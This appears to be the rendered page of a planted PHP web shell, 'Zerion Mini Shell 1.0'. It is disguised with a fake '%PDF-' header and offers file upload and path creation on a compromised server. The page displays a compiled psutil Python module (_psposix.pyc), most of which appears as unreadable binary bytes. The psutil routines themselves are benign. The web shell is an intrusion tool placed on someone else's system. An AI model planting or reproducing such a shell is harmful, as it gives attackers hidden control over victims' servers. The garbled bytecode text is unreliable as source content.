%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python27/lib64/python2.7/site-packages/psutil/
Upload File :
Create Path :
Current File : //opt/alt/python27/lib64/python2.7/site-packages/psutil/_psposix.pyc

�
���Rc@s�dZddlZddlZddlZddlZddlZddlZddlmZddl	m
Z
mZmZd�Z
dd�Zd�Zed��ZdS(	s%Routines common to all posix systems.i����N(tTimeoutExpired(tnt_diskinfot
usage_percenttmemoizecCs]|dkrtSytj|d�Wn.tk
rTtj�d}|jtjkSXtSdS(s6Check whether pid exists in the current process table.iiN(	tFalsetostkilltOSErrortsystexc_infoterrnotEPERMtTrue(tpidte((sB/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psposix.pyt
pid_existss
csq����fd�}ttdtj���dk	rX�fd�}����n�fd�}d}x�y|�\}}Wn�tk
rtj�d}|jtjkr�||�}qpqj|jtjkrx(t	��r�||�}q�dSq�qj�qpX|dkr&||�}qpnt
j|�rBt
j|�St
j
|�r^t
j|�Std	��qpdS(
sIWait for process with pid 'pid' to terminate and return its
    exit status code as an integer.

    If pid is not a children of os.getpid() (current process) just
    waits until the process disappears and return None.

    If pid does not exist at all return None immediately.

    Raise TimeoutExpired on timeout expired.
    csK�dk	r-���kr-t���q-ntj|�t|dd�S(Nig{�G�z�?(tNoneRttimetsleeptmin(tdelay(R
tstop_atttimeoutttimer(sB/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psposix.pyt
check_timeout*s

t	monotoniccstj�tj�S(N(RtwaitpidtWNOHANG((R
(sB/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psposix.pyt<lambda>3scstj�d�S(Ni(RR((R
(sB/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psposix.pyR6sg-C��6?iNisunknown process exit status(tgetattrRRRRR	R
tEINTRtECHILDRRtWIFSIGNALEDtWTERMSIGt	WIFEXITEDtWEXITSTATUStRuntimeError(R
RRtwaitcallRtretpidtstatusterr((R
RRRsB/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psposix.pytwait_pids:



cCsntj|�}|j|j}|j|j}|j|j|j}t||dd�}t||||�S(s'Return disk usage associated with path.t_roundi(Rtstatvfstf_bavailtf_frsizetf_blockstf_bfreeRR(tpathtsttfreettotaltusedtpercent((sB/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psposix.pytget_disk_usage`scCs�i}tjd�tjd�}xv|D]n}||ksAt�y||tj|�j<Wq)tk
r�tj�d}|jtj	kr��q�q)Xq)W|S(Ns	/dev/tty*s
/dev/pts/*i(
tglobtAssertionErrorRtstattst_rdevRRR	R
tENOENT(trettlstnameR(((sB/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psposix.pyt_get_terminal_mapls

(t__doc__RR
tpsutilRRR7t
psutil._errorRtpsutil._commonRRRRRR)R6R?(((sB/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psposix.pyt<module>s	A	

Zerion Mini Shell 1.0